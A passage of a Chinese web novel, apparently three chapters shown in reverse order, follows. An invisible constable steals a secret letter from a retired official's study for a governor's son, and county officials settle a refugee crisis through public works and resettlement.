而且韩登看自己的眼神,总有一种“你也不想这事被别人知道吧?”的邪恶感。 弄死他吧…… 他爹估计连问都不会问,十万关中军就能直接犁了临颍县,蚂蚁窝都得灌开水,蚯蚓扯出来竖着劈。 …… 罢了,反正也不是什么大事,不就是偷封信嘛~ 三天两夜的时间,凌晨一路从颍川府赶到了寿春府,与以往不同的是,那位退休老干部高太傅家住淮北,倒是离得不算太远。 进入界州城后,凌晨寻了一家客栈住了下来,白天正常出门游逛,夜里早早熄灯。直到夜黑人静后,才偷偷摸摸的从窗户里翻了出去,隐匿起身形朝着韩登所说的城东而去。 这次做事他格外注意尾巴,尽量剪除痕迹,少与人交,免得哪天又招来几个王登、李登之类的。 和巡街的更夫、官兵擦肩而过,凌晨隐着身径直来到闾右兴业坊第二街第一户人家。 站在三米多高的墙下,凌晨双手叉着腰,望着墙壁一个头两个大。跳肯定是跳不上去的,兴业坊又属于那种高级小区,本地物业把街道巷陌打扫的特别干净,根本看不到笼子、竹杆、水缸之类的杂物,想找个踮脚的都没有,真鸡儿愁人。 于是他只能不停在高府正门、偏门、角门之间来回游荡,寻找机会。 淮北的蚊子是真毒啊!而且还是靠气味寻找目标的,凌晨隐着身都被叮了三四个包,等他察觉到时,已经肿成不规则的红块了。 娘希匹!! “咕咕~咕咕~” 有志者,事竟成,百二秦关终属楚。苦心人,天不负,三千越甲可吞吴。 躲在墙根喂了快两个小时的蚊子,狂躁到已经想踹开高家大门冲进去的凌晨,终于在西侧角门听到了一道由人模仿的鸽子叫声。 咱也不知道他模仿了个啥,聋了三年的傻子都能听出这是活人发出的假声。 不过不重要,高府的门总算是开了,呜呜呜……我那么多遗憾、那么多期盼你知道吗~ 借着微弱的月光,凌晨清晰的看到从门里走出来一个人,而街角那边也出现了一个人,两人就这么站在角门的门口小声说着话。 “这是奶奶给你的东西,务必要放在那狐狸精的床下,明日便可成事。” “晓得了。” “哎,做的隐秘些,不要叫二爷和老爷看出异样。” “放心。” 二人很简洁的完成了交接事宜,随后便沉默下来,各自分道扬镳。但他们没有发现,就在他们谈话的时候,一阵微不可察的清风吹进了半开的门。 凌晨走进来后才知道什么叫凤阁龙楼连霄汉,玉树琼枝作烟罗。高太傅在任时没少贪银子吧!游廊、拱门、水亭、暖阁,到处都是精美的装饰和假山溪道;每隔五六米便挂起一盏写着“高”字的灯笼,即使没有电,整个高府都亮如白昼。 凌晨站在灯笼附近看了看自己脚下,挺好,没有影子。 挂是良心挂,除了无法在空间中虚化身体实质外,真正做到了全方位意义上的隐形。 就是不知道热成像仪能不能探出来…… “噜噜噜~” 一念及此,凌晨猛的摇了摇头,偷东西呢~专心点!自己这注意力也太不集中了。 穿过西院,沿着游廊走过月拱门,映入眼帘的是一片足以跑马的中央庭院,跟人家一比,自己家的小院简直是逊爆了。 即便是夜里,府中依旧有很多护院和丫鬟在行走,凌晨小心的避开他们,在一大堆房屋中搜索寻找。穿过前厅的抄手游廊,又顺着屋檐下步至东厢房和正堂中间的夹角处,还听到了哼哼唧唧的声音。 东厢房……应该是主人家的儿子在居住,这让人不禁有些燥热的声响,估计是在辛勤播种吧~ 从空无一人的正厅穿到后院,步过嶙峋的假山和曲折的小石桥,凌晨终于看到了一间闭着房门的屋子,房门上头挂着一副牌匾,上书三个大字——“和光同”。 瞅着四下无人后,凌晨轻轻推开房门,钻进去后又把房门轻轻掩上。 这里只有刚进门的两个铜鹤脑袋上有油灯,其他地方一片漆黑。因为除了前面会客的椅子、软榻和摆放着笔墨纸砚的红木桌子外,整个房子里全是摆满了书籍的黑漆架子。 凌晨走到书架边,从里面抽出来一本,书封黄不拉几的,还是用线在左侧缝订,翻开一看,全是竖着写的句子,而且还得从右往左看。 随手塞回书架后,凌晨回忆着韩登跟自己说过的话,来到了靠近书案那一侧最里面的书架旁,朝着里面走去。 左手是盆栽、文玩和字画,右手是排列整齐的典籍珍藏,凌晨用自己的夜猫子眼盯着看了半天,终于找到了一株栽着矮竹的黑金盆栽。 他双手抱住两边,先是试着顺时针拧了拧,发现拧不动后,又往逆时针的方向转了一下。 这次,动了。 前面的墙壁上传来了一阵轻微的声响,似乎是石块互相摩擦的声音,他抬起头仔细看了看,墙壁并没有什么变化。 奇了怪了…… 忽然,他似乎是有所察觉,一把揭起墙上挂着的一幅泼墨山水画,终于看到了藏在里面的暗格。 暗格里放着很多书信,黑灯瞎火的实在看不清楚,凌晨就随手抓了一把,拿到前面铜鹤油灯那里查看。往返挑拣了两次后,终于在昏黄油灯的照映下,找到了那封黑色信封的信件。 上面只有四个白字:盐铁专纪。 握着信封的凌晨不禁皱起了眉头,在封建王朝时期,盐和铁都是朝廷专营的战略物资,普通人贩卖这些东西和贩毒没区别,整上半车就足以让九族狂喜。高太傅家中怎么会有这种东西?韩登又为什么一定要拿到这封信? 他感觉自己好像摊上事了,似乎被一股巨大的政治风暴卷进了漩涡中心。 拿还是不拿? 正在他纠结之际,门外突然传来了亮光和脚步声,已经来不及思考的凌晨匆忙将其他信件塞回暗格,将一切恢复如初后,把黑色信封揣进怀里,重新隐入了黑暗之中。 “呵呵呵~腾公请。” “嗯~” 房门大开,两个丫鬟提着灯笼走了进来,将屋子里的蜡烛都点上,房间里瞬间亮堂了起来。 一个须发皆白,老态龙钟的老叟拄着一根黄木拐杖,在另一个中年人恭敬的搀扶下一起走了进来,坐在了软榻上。 老叟的衣服颜色很素,但在烛光的映射下却有反光。这种现象在到处都是聚酯纤维的二十一世纪并不稀奇,可在大部分人都还是麻衣纺布的大周,就很突兀了。 另一个中年人面如刀削,身形修长,举手投足之间隐隐带着一股上位者的威严气质,而且干净利落,举止大方。不像是文官,可要说是武官吧……又差点意思。 挥退了下人后,中年人一只胳膊肘枕在榻边,身体微微倾斜着靠向老叟,缓缓说道: “腾公归隐故里,寄情山水,好不快活。只是我们没了主心骨,总被崔护、王屏压制,近来多有折伤。” 老叟呵呵一笑,斜靠着软枕露出慈祥的笑容: “老夫已然还乡,朝堂上的事,早无心留恋。十年树木,一年种谷,都付儿童。老夫唯有,醒来明月,醉后清风。” 中年人笑着附和道:“腾公高风亮节,淡雅闲情,自是教学生佩服。可……如今天威越发难测,又有妇人枕语在旁,学生怕……” 老叟捋着白胡子淡然一笑,丝毫不把对方的话放在心上:“隐后不究,这是官扬共识。他们就是再怎么闹,也不会断了自己的后路。只要老夫还能喘气,你等就不会有性命之忧。” 他说完后,见中年人还是眉头微锁,于是便出言劝慰道:“你等好生辅佐东宫,老夫把有盐铁名册,河南江北,只要本分一心,便不会出乱子。待到日月交替,便是个个从龙。” “是,学生受教了。” 悄悄出了门的凌晨回头望了一眼还亮着烛光的书房,心绪不宁。 那老叟应该就是已经告老还乡的高太傅,另一个中年人不清楚身份和姓名,但从他们的谈话中也大概能猜出来是朝堂上的大臣。 这俩人应该是东宫阵营的,但好像还存在着一股和他们对立的势力。 和他们过不去,那不就是跟太子过不去吗!什么人这么勇? 而且貌似还牵扯着后宫。 韩登要偷走这封信,难道他也和太子过不去?还是……他代表着关中节度使的态度? 那可是手握十万大军的人啊!而且坐拥关陇,他不支持太子,而太子又是附和儒家礼法的正统继承人,老皇帝要是哪天不行了,会发生什么? 内部腐朽不堪、民变频频,外部虎狼环伺的大周,本来处境就已经够艰难的了。现在统治阶级还要凑热闹,整了一个这么大的花活…… 这三样任何一个都有办法解决,可凑在一起,形势就难以预料了,甚至可能会超出所有人的控制。 看来自己也得早做准备了。 —— “给,你要的东西。” 里阳镇东岸的一处岸边水榭里,只有凌晨和韩登两个人。事关重大,为了保密,他们都没有带随从和下人。 韩登将信拿过去后检查了一下,脸上露出满意的笑容,随后揣进了胸前的衣服里。 “凌兄做事果然稳妥,放心,往后我不会再为难凌兄做此类丑事了,日后若是来了京城,定要告诉我,我请你喝酒。” 凌晨兴意阑珊,双手扶在水榭的栏杆上,望着远处繁忙热闹的里阳镇,语气茫然的问道:“你见过太子吗?” 韩登愣了一下,收起了笑容:“有幸觐见过,怎么突然问这个?” 凌晨扭过头,盯着韩登的眼睛问道:“你觉得他为人怎么样?” 韩登被凌晨问的有点懵,他不明白,一个乡野小县的捕头,突然问这个做什么? “太子殿下敦厚仁孝,礼贤下士,尊师重道,品行自然没得说。凌兄干嘛突然问这个?” 凌晨有些同情的望向韩登,这家伙真是个活宝。你说他笨吧~短短几天就能查到自己的头上。你说他聪明吧~被人当枪使了都不知道。 “没事,就是觉得韩兄身居高位,可能见过天颜,出于好奇询问一下。” “哦~太子殿下……无论是人品还是能力都挺不错的。说句关起门的话,日后圣上龙御归天,大周在他的带领下,一定能够一统天下,刻强汉之威,复盛唐荣光!” 凌晨望着远处的水面,喃喃道:“但愿吧……” “什么?” “没事,哦对了,这封信很重要吗?你知道里面记录的都是什么吗?” 听到凌晨这样问,韩登第一次脸色正经了起来,他负手而立,语气冷漠的对凌晨说道: “凌兄,有些事情,知道的越少越好。莫说是你,就连我也不敢生出窥探信中内容的想法。这信的封泥若是被揭了,你我都要人头落地。” 凌晨点了点头,双手离开栏杆走到韩登面前,拍了拍他的肩膀,轻轻叹了一口气,思索良久,还是开口了:“往后做事的时候,思考思考再行动,实在不行就寄封家书,多和令尊大人聊一聊。他见多识广,想必能对你多有助益。” 说罢,他便背着手向外面的沙石小道上走去。只留下韩登一个人立在水榭中,望着凌晨远去的背影,脸上的表情变幻莫测。 良久后,他低头摸了摸装有信封的胸口,剑眉微皱。 第25章 梁上君子 相对阴凉的东厢房里,青柠和青樱、小云正围坐在八角桌前,捧着西瓜吃的津津有味,这是刚从地窖里拿出来的,口味冰凉清爽,凌晨也想不起是谁送的了,反正品质还不错。 整个屋子都弥漫着一股新鲜的果香,女儿家凑在一起,不是八卦就是密话,时不时还传出两句嬉笑之声。 门外院子左侧的大槐树下,凌大官人正躺在摇晃的摇椅上乘凉,随手扇走一两只嗡嗡叫的苍蝇,翻个身继续休憩,缱绻怡然。 小庭横卧无闲事,便是人间好时节。 自从前段时间解决了难民危机以后,临颍县的三大巨头——冯延、张承、侯明都受到了府衙的嘉奖,过不了多久都会升迁。而冯延明确表示要向知府大人推荐凌晨来接替县尉一职,烦死了都快! 钱多事少离家近,位高权重责任轻。 睡觉睡到自然醒,数钱数到手抽筋。 这才是我的梦想啊喂! 不行,不能就这么被套上笼嘴当大周的牛马。我看刘文越那小子就挺想上进的,既然冯延的意思推脱不掉,就让他来干我的活,到时候再PUA上几句,保管叫他打满鸡血为全县人民的安全和稳定辛勤奋斗。 “度岁岁年年~ 逍遥好似散仙~ 沧海桑田~胜诗篇~ 清风扣心弦~” 凌晨闭着眼睛,枕着胳膊侧卧在摇椅上,另一只手伸出一根指头,在空中挥舞着哼起戏腔小调。正沉浸在自己天籁般的声音里呢,忽然感觉身边传来些微声响。 “妈的,谁来了?” 他缓缓睁开眼睛,一张阳光帅气的脸映入眼帘,正露出一口大白牙笑嘻嘻的视奸自己。 “呦~韩大人!” 凌晨连忙从摇椅上坐起身来,踩着自制的布拖鞋站起来,双手抱拳朝着突然出现的韩登行礼,韩登也嘻嘻笑着朝凌晨拱手还礼。 “大人属啥的?走路怎么没声呢?” 凌晨客气的就要领着韩登进屋上座,没想到这货摆了摆手,毫不客气的霸占了他的摇椅,舒舒服服的躺了上去,还很好奇的试着晃了两下。 “正巧赶上一趟公事,路过颍川府,就顺道来看看凌兄,果如方才所吟的戏文那般,逍遥似散仙,真是羡煞旁人!” 凌晨扭头看了看门外,这次没跟着一大帮狗腿子。 他也坐在竹桌旁的小木凳上,拿起蒲扇扇了起来:“在下不过一介武夫,瞎混日子而已。哪里比得上大人年少有为、身系重任呐!” 韩登的状态十分放松,双臂交叉着枕在脑后,一摇一晃的望着头顶树叶中透下来的点点阳光,感受着凌晨刚才的惬意,顿觉一身的疲惫也消散了很多。 他对凌晨很感兴趣。 能孤身完成百人斩的高手,整个大周都找不出来几个,虽然有趁着夜黑风高取巧的成分,可那也无法遮掩其武艺高强的事实。 同为手握实权的节度使之后,韩登自然是认识文若的,而且还关系匪浅。文若是什么人他能不清楚?能让那个表面谦逊有礼,内里目中无人的家伙不惜屈尊结交的人,能是简单货色? 尤其是在听说了里阳镇和通曲桥的修建过程,以及民乱四起的颍川府只有凌晨所在的临颍县没有异动后,他的兴趣就更浓了。 “凌兄今年贵庚啊?” “十八,韩大人呢?” “二十。” 凌晨听着也有点好奇,于是跟他攀谈了起来:“韩大人二十?我有个朋友也是二十,说起来大人可能认识,就是江淮节度使的公子文若。” 韩登“切”了一声,有些不情愿的说道:“他比我大六个月,算算已经二十一了,” 凌晨见他这副模样,愣了一下,试探性的问道:“你们很熟吗?” 韩登将右腿搭在左腿上,舒舒服服的出了一口长气后答道:“何止是熟……啧~咱们相会,谈他作甚?背后论人可不是君子所为嗷~” 凌晨闻言一愣:“大人……也算君子吗??” ? 韩登瞪大眼睛看向凌晨,那表情分明是在说:你什么意思? 凌晨指着他身下的摇椅说道:“我没听说谁家君子一进门就抢了主人家的座椅,再说上次,哪个君子会死皮赖脸的待在别人家里蹭饭还面不改色?” 韩登笑了,不知是气的还是逗的,用手指了半天凌晨,愣是说不出对辞来。 你看清楚,老子是刑部司狱的主官!把中书门下的那帮老东西、还有六部尚书和各镇节度使除去,我去了谁家都敢蹭饭,到哪里都敢抢座!不找他们的麻烦就烧高香了,莫说这些小事,就是要他们的传家宝,那也得乖乖奉上! 怎么到你这还被嫌弃上了? “凌兄还真是……性情直率……” 凌晨听到这么敷衍的回答后不禁撇了撇嘴,这货绝口不提吃饭给钱的事,一看就不上道,被家里宠坏的公子哥,连这么隐晦的暗示都理解不到,关中节度使养的这号算是废了。 “不知大人此行所为何事?左右无他,不如与我说说,聊作谈资。” 听到凌晨提起公事,韩登不免又有些心烦,翻过倒扣在竹桌上的茶杯,给自己倒了一杯凉茶后一饮而尽,咂吧着嘴沉默不语。 凌晨见他不肯说,便也不再追问,没想到他又自己开口了—— “事关朝堂大事,我也不便向凌兄透露。不过说来倒也简单,通俗的说就是有户人家家里,藏着一封十分重要的书信,我需要拿到那封书信。” 韩登俊朗的脸上浮现一丝愁容,显然这事并没有他说的那么简单。 “那你就去取呗,一脚踹开他家大门,见好的就拿,拿不了就砸,敢有反抗的,往死里打!” 凌晨的话听的韩登嘴角一抽:“你平时在临颍县……就是这么办案的?” “不不不~” 凌晨立刻把头摇的像拨浪鼓一样:“我都是让手下们去干的,亲自动手有损清誉。” …… “临颍百姓有凌兄这样的守护神,真是前世修来的福分呐~” 凌晨谦虚的笑了,有些不好意思的继续说道:“其实更多时候我都是用大记忆恢复术,帮助那些记性不好的犯人们回想起各种犯罪细节。我跟你说昂~这招可厉害了!用的好了,当年头和脚哪个先出的娘胎都能记起来。可惜咱大周没有电,不然我还有一套杨氏电疗法……” 韩登越听越离谱,越听越迷糊,连忙伸手打断了凌晨兴高采烈的眉飞色舞:“停停停!好了好了,凌兄高超的断案手法,我已大概知晓。不过,我这次要去的地方特殊,你介绍的这些方法都用不上。” “啊……” 凌晨听后非常失望的垂下双肩,好不容易聊到自己擅长和感兴趣的东西,却被韩登陡然打断,这让他很不开心,满脑子的绝妙主意无处宣泄,这种痛苦谁懂啊! 韩登瞄了他一眼,看穿了他的失望,于是只能无奈的安抚道:“我要去的这户人家,位高权重,轻易招惹不得。要在他们毫无察觉的情况下拿到那封书信,如此才能像你说的那般,冲进他家打砸抢。” 屁!真要能收拾,连呼吸都能治罪。收拾不了,人家就是造反你也没辙。 凌晨不以为然的喝了一口茶,并不搭话,韩登见状,也起身拍了拍衣服,就要作别。 “这次不留下吃顿饭了?” 面对凌晨的调侃,韩登微笑着摇了摇头:“公务繁忙,能来凌兄高庐小叙一番,已经心满意足。我先走了,替我向弟妹问声好。” 二人一起走到大门口后,韩登爽朗一笑,彬彬有礼的朝着凌晨拱手,二人相互道别。 韩大人去了, 韩大人回来了。 再次见到这位公子爷已经是十三天后了,只是这次的他看起来有点惨。 原本能跻身一线男明星的建模脸,此刻额角上却有两道擦伤,耳垂也被什么东西扎了个血痂,左胳膊用白布吊着,走起路来还有点不太协调,膝盖好像有点小问题。 上次是悄无声息的飘进自己家里的,这次是被那个贺典司扶进门的,而且还会时不时的冒出一丝吸冷气的声音。 接客的偏房里,凌晨望着连坐下来都有些困难的韩登,忍不住问道:“你去偷人家媳妇被发现了?” “……” 韩登艰难的挥挥右手,示意怒目圆睁的贺典司哪凉快去哪后,这才无奈的对凌晨说道:“凌兄说笑了,实是我武艺不精,被人发觉了。又不能暴露身份,只能与护院打斗,寻机退却,谁知山外有山……” 凌晨明白了,这小子是跑到别人家里做贼去了,而且还被人给发现了。又因为怕被认出来,所以只能哑巴吃黄连,扛着揍逃出来。 “噗哈哈哈哈~~” 凌晨笑的上气不接下气,趴在塌边不停的拍打着木架,眼泪花都要飘出来了~ “你小子!原来是偷鸡不成蚀把米啊!哈哈哈哈哈~前几日还大言不惭的说自己是君子,原来是梁上君子啊?哈哈哈哈~” 韩登的脸色瞬间就难看了起来,事没办成就算了,还要在这被人疯狂嘲笑,这他妈谁受的了?! “凌兄还记得上次霍县的事吧?” 凌晨擦了擦眼角的泪水,满面潮红的止住了笑:“记得记得,怎么着,大人想揭旧账不成?据我所知,大人已经按疑案上报了,这会要翻查,真的不会自相矛盾吗?” 韩登阴沉着脸,咬牙切齿的说道:“那倒不至于,只是上次你欠了我一个人情,这次怎么也得还吧?” 凌晨疑惑的挠了挠头:“你意思让我去替你偷东西吗?堂堂刑部上官,竟然沦落到偷人家的东西为生,这也就算了,还没偷到!哈哈哈哈~” 韩登的倒霉模样,以及他干的小丑事迹,猛猛戳中凌晨的笑点,他也不想这么没礼貌的嘲笑一个伤患,可是……实在忍不住啊! 韩登被凌晨笑的怒火攻心,顿觉有块大石头堵在胸口处,上不来又下不去。 “你帮不帮?” “不帮~连你都惹不起的人,我能惹得起?你就别把我牵扯进去了,回去找几个好手再去试试……噗哈……不好意思,我真没有嘲笑你的意思,只是单纯的想到了一些开心的事……噗呲……” 看到凌晨捂住自己的嘴,扭过头去躬下身子趴在榻上,浑身抖的跟个蛆一样。韩登的上嘴唇斜翘起来,嘴唇微颤,怒发冲冠。 忽然,他灵机一动,面色再次淡然下来,呲着牙微微调整了一下坐姿后,抬起头打量着屋子里的陈设,气定神闲的说道:“凌捕头的家中甚是不错,那本官就借住几日,养养伤吧~” 嗯? 听到这话,凌晨才止住了偷笑,擦着眼泪重新直起身子看向韩登:“我这地方小,大人住着怕是会委屈。再说了,就算是亲戚,也只有常走,哪有常住的道理?再说家中还有女眷呢,大人住着多有不便。” 韩登无所谓的答道:“没事,我不介意。” “我特么介意!小韩啊,你有点过了嗷~” “那我不管。事儿办不成,我也回不去。还不如躺在你家里养伤,养好了再去,失败了再养。你也不用想着什么告状之类的,我这就往刑部讨一份文书,征用你家宅子做驻所,你可以试试看谁的话管用。” 你他妈…… 凌晨再也笑不出来了,要是韩登铁了心耍流氓,自己还真拿他没办法。真是倒了血霉,稀里糊涂的认识了这么个无赖玩意儿!这货真是节度使家的贵公子?确定不是哪个市井泼皮的后人吗? 节度使大人很有必要去做个亲子鉴定啊!事关香火血脉,可不能大意啊…… 看到凌晨满脸不情愿的盯着自己时,韩登心里没来由的一通暗爽,有种扳回一局的快感。 “谁家?什么信?” “淮北界州,已经告老还乡的高太傅家。一封藏在他书房暗格中的信,信封是黑色的,口子用红泥封着。” 凌晨斜靠在榻枕上,用手指缓缓敲击着木架,渐渐皱起了眉头。 这是个大活啊! 退隐的太傅,那也是太傅。你去翻翻史书,能活着领到这个头衔的,都是些什么人。 韩大人能活着回来,已经很牛逼了。 第24章 抚逆为顺 就比如说,大家原本都是种麦子的,世世代代都是如此。可有一天邻居家突然种了苹果,赶上蔬果稀缺的当口,赚了许多银钱,日子也跟着好了起来,你瞅着自家田里还没黄的麦子来气不? 再比如,大家都是写话本的,隔壁的落魄秀才突然不讲武德的写起了小黄书,虽然有违圣人之道,可架不住市井糙汉们喜欢。说书人买去一唱,他就修了新宅讨了老婆,你看着自己笔下的诗云子曰和老鼠来了都要摇头叹气的米缸,会想些什么? 同理,大家都是背井离乡跑到外地逃难的,凭什么他能坐在官衙里酒足饭饱,然后搂着当地知县的女儿深入交流。而我只能躲在城墙根下,哀求那些朝我吐口水的外乡人施舍些剩饭剩菜? 是忍冻挨饿、被路边的野狗啃个死无全尸,还是揭竿而起、做几天快活逍遥的法外狂徒? 四天,二十七道急报,让大周朝廷知道了难民们的选择。 别的地方凌晨不想管也管不到,但临颍县绝不能出事。于是在恩威并用的安稳好望云镇附近的难民们之后,他和其他各镇官吏们一道,齐聚在临颍县衙的大堂和庭院中,等候冯延的命令。 “许县、运昌县、下蔡县、成县、隆县、纪县皆有难民冲击县城和附近乡镇的事件发生。如今府衙已经将能派出去的乡军都派出去了,依旧是力不从心。眼下本县有些地区也是蠢蠢欲动,今日唤诸位同僚来,便是集众人之智,收罗对策。” 冯延是真急眼了,什么官威仪态都不要了,就这么站在一众衙吏之中,在每个人的脸上一一扫过: “你们应该也都听说了南阳府发生的事情,如果移稼到临颍,本官的人头肯定要离了脖子,而诸位的性命恐怕也难以周全,事急矣!” 县丞张承率先开口道:“大人不妨将地方大户尽皆移入城郭,下令各地乡民自发组成团练保卫村庄,如此一来,元气不伤。纵使偶有村镇被乱民冲击,也不会影响大局。” 张承的意见很保守,如果真按他说的做,临颍县的士绅阶层是能保住的。但县城以外的上万百姓和牲畜田地,怕是得遭老罪了。 冯延皱着眉头,既不赞同,也不反对。 他不是个清廉正直的人,但他是个好官。死伤几个百姓尚且都觉得不妥,将全县乡镇的村民都置于难民的威胁之下,不管不顾,集中力量保护县城,这更不符合他的意愿。不到山穷水尽,他并不想这样做。 见他不搭话,县尉侯明也试探着回道:“要不……老爷下道告示,召集全县青壮,分发刀剑枪棒,由县衙统一调遣,将入境难民尽数驱逐出去,以防里外勾结。再派人把住各个水陆要道,凡有不遵官命之人,一律就地格杀!将首级悬挂起来警示宵小,或可避免麻烦。” 这话更是武夫所言、血气之勇。这种事怎么能一刀切呢?真这么干,不想反的怕是也得跟着反。到时候就真是硬碰硬,谁赢谁有理的局面了。 冯延捋着胡须在大堂里来回踱步,依旧不发表意见,于是刘文越等其他级别更低的差役小吏们也纷纷献言,但大都是和丞尉二人差不多的主张,要么死守,要么死战。 直到此起彼伏的讨论声小下去后,大家才都止住了声,望着冯延,等着他拿主意。 冯延紧锁浓眉,望向了一直没有说话的凌晨:“你是军中出身,依你之见,侯县尉的建议如何?” 凌晨和侯明对视一眼后,低头看着地面上的砖块,思索着答道:“大人如果决心以武力解决威胁,属下有信心处理好此事。但此举可能会招致各处叛军的注意,到那时,如果知府大人不能及时调遣乡军支援,我们的下扬恐怕会比那些已经沦陷的州县更惨……” 众人听罢,皆是倒吸了一口凉气,纷纷窃窃私语起来。 冯延背着手转身走回堂上,单手扶着桌案,犹豫不决:“可若是坚壁清野,城外百姓必定会和难民产生摩擦、互相攻击,届时,怕是要血流成河……” 凌晨皱着眉头,思忖了许久后,再次向着冯延抱拳开口:“大人,或许……除了守和逐之外,还有一条路。” “说来听听。” “纳。” “纳?” 此言一出,众人皆是轻轻摇头。 临颍县地界是挺大,可这不是一小撮难民,而是大周南部边境好几个府的难民潮!整个颍川府都容纳不下,更别提一个小小的临颍县了。 怎么纳?拿头纳? 冯延本想摆手拒绝凌晨这种荒唐的想法,可又转念想起了通曲桥,当初也是这样束手无措的局面,被他以巧妙的修建方式给解决了。一想到这儿,冯延的内心又生出一股希望来,他强压住烦躁,耐心的询问道: “那你说说,怎么个纳法?” 凌晨看着在扬的同僚们,语气凝重的说道:“难民作乱,无非是日子难以为继,再加上无所事事,导致生出了破罐子破摔的心思。前些日子大人用官银施粥放饭,已经解决了他们的生存问题,但吃饱了没事干,又数量庞大的聚在一起,终归是养虎为患。 属下粗浅的认为,可以将难民中的男人从中分离出来,再划拨出一些荒地,引导他们修筑简单的茅屋用以遮蔽风雨。允诺将修好的房子分发给他们的家眷居住,如此一来,便让他们有了事情做。 再者,将入境的难民统统登记在册,按地域打乱散于各处,使他们言语不通、习俗不近,无法顺畅的交流,便大大减少了风险。兄与弟、叔与侄,乡党亲朋拆散开来,虽同在本县,却一个在东、一个在北。” 冯延静静的听着,抬了抬手指,示意凌晨继续说下去。 “难民入境本是麻烦,可换个角度来看,却也是平添了许多廉价劳力,本县淤积的河道、等待翻修的旧址、里阳镇还在加盖的楼舍、官役征调的徭夫,都需要大量的人。大人或可借此良机,善加利用,严加管束,将陈务冗余一举解决。 再者,难民中有不少寡妇和鳏夫,若是大人能下令让各地里保做媒,一如往年流民那般凑合成对,允许他们开荒垦田、给他们拨地建屋。家庭是野心的麻沸散,妻子是丈夫的缠鸢线,两三年后,麦熟儿语,皆化为本县人口。岂不抚逆为顺,为大人平添一番功绩?” “嘶……” 冯延又一次惊奇的发现,凌晨考虑事情的方法和他不一样,和他所见过的大多数人都不一样。 他每回思考的都不是如何解决麻烦,而是怎么从麻烦中寻找出有利的一面,然后加以利用。 冯延转头看向张承,张承也陷入了深深的思索之中:“逸而劳之,亲而离之,化静为动,为我所用……” 见他们都没有反对,凌晨再次小心翼翼的开口补充道:“工钱就按五六成给,建房的茅草、泥土就地取材,木材虽说需要购买和砍伐,但也花不上太多。去年年景好,每日所需的粥米也算便宜,零零总总算下来,头两个月也就三四千两封顶。 属下想着,如今南阳府闹的凶,朝廷肯定不会坐视不管,两三个月内怎么也会出兵平叛。只要咱们稳住这两个月别出事,到时候……” 冯延点了点头,回到了堂上坐下,望着立在堂下的几十名官吏衙役,目露精光:“张县丞!” “下官在。” “召集本地各家大户,和税课、户官、粮绢连夜商议,按凌捕头刚才所说的构想,制定出一份详细的计划来,人员、粮食、银钱、区域具各标注,讨论清楚。明日一早,本官要看到详细的书告。” “是。” “侯县尉!” “属下在。” “将县城乡勇、各镇民壮召集起来,分地划拨人头,负责维稳惩恶、护境安民,协助张县丞实施条款。如遇浑水摸鱼、趁暗作乱之徒,必要时可便宜行事!但记住,务必慎动武勇!本官只给你二十条性命的担保,若是超了,不但无功,反要问罪!” “是。” 吩咐下去后,冯延长叹了一口气,站起身走到桌案前,朝着临颍县的衙役差役们拱起双手,弯下腰深深行了一礼—— “临颍县是老夫的治下,可也是诸位同僚的家乡,大家的田亩房舍、家眷妻小、亲朋邻友也都俱在此处。还望诸位不辞辛劳、同心戮力、共保安宁,老夫在此先谢过你们了!” 在扬之人见此情形,无不鼻尖发酸、眼眶湿润,纷纷跪倒在了地上。 领导把话都说到这个份上了,于公于私都不能再松弛懈怠,豁出去干吧那就! 凌晨提出的解决办法也简单,主要是给难民们找点事情做,不要让他们三五成群的坐在一起感慨世事不公,免得冒出一个点子王,来一句“苍天已死”或者“大楚兴”什么的。 再就是把认识的互相分开,这样就算有一两个闹腾的,也没熟人真心相帮,很难成批量的把人组织起来,自然就成不了什么气候。再按地域划分开,把广陵人和襄阳人丢到一块,言语不通,这个在那嘤嘤哭诉呢,那个还以为他在哼歌。 除此之外,刚好利用这么多廉价劳动力把以前没钱弄、或者人手不够搞不起来的民生工程和基建设施搞一搞,也算是变相的以工代赈了。再给他们男女搭配,修间房子,分两亩荒地挖着玩去吧!夜里多努力努力,等到明年大胖小子落了地,有了牵挂就更好拿捏了。 办法确实是不错的办法,但真正实施起来却是困难重重、道阻且长。 难民们是活生生的人,不是数据代码。他们性格不同,有的开朗、有的阴郁、有的狡黠有的诚实。出身也不同,有的是富商地主,有的是三代贫农。要分门别类的去因人而异,用不同的方法去劝说他们听从官府的安排,是一件非常繁琐和麻烦的事情。与这些相比,需要花费的几千两银子倒成了小问题。 凌晨已经好几天没有回家了,天天在临颍县的各地乡村奔波,有时候为了赶时间,甚至跑到义棚里弄口粥和饼对付一下,就匆忙翻身上马,继续奔赴下一个地方。 不只是他,县衙里其他各级官吏和本地士绅、青壮乡勇也都忙的不可开交,他们也许以前贪污受贿、也许曾经仗势欺人。但现在,他们都是称职负责的官绅里保,都在为了同一个目标而努力奋斗。 在所有人共同的努力下,原本乱哄哄的难民们全都被有序的划分引流。要离开的遣送出境,要留下的按照设想中的规划分别安置在了不同的地方,而新入境的难民也已经有了成熟的流程指引和人员接待。 临颍县也终于化解了这扬席卷全府的难民危机,与其他需要乡军出手血腥镇压的州县不同,冯延自己消化了这个麻烦。由于和知府大人关系还不错,这项傲人的成绩也被添进了履历里,呈报给了京城里的吏部衙门。 如果不出意外的话,再过三年,冯延将会越过颍川府,直接前往京城叙职。他今年还不到四十,正是出去闯荡的年纪,未来可期。 而破坏大周王朝公信力、胆敢挑战朝廷威严的南阳民变也被三万禁军无情镇压,连带着大批南阳府的官员一起倒了血霉,被撤职、砍头的人不计其数,天下震怖! 人一旦忙起来,时间就过得飞快。等到恍然发觉时,已是流年似水。 叛乱平息,难民安置工作彻底结束后,已经是小暑时节了。凌晨拖着疲惫的身躯,牵着马回到家门口,看到自家小院的大门微张着。 原本坐在正堂屋檐下乘凉的小云一眼就看到了他,在朝着屋里喊了一声后,就用手遮在额头上挡住刺眼阳光,一路小跑着向他奔来。 青柠从里屋走了出来,一双杏眼微眨着望向凌晨,小嘴一瘪,似是要哭,又像是要笑。随后深吸了一口气,提着裙子缓缓走下台阶来到院子中央,站在迎面而来的凌晨跟前。一阵微风吹来,二人都没有言语,只是轻轻握住了彼此的手。 夏日阳光炙烤着屋顶青瓦,院中的槐树上蝉鸣清脆,空气中隐隐能看到扭曲的热浪,葡萄藤正沿着竹架子努力向上生长,枝叶翠绿繁茂。 第23章 乱哄哄 现在又多了个陆婉云,宅子里阴盛阳衰到了极点。 院子一侧的篱笆园里,凌晨刚挖好一个大坑,青柠屏住呼吸从畜棚里铲了两木锹马粪过来,丢进坑里后倒入泥土搅和均匀,接着又和凌晨、青樱三人合力把一棵葡萄苗宰进了坑里。 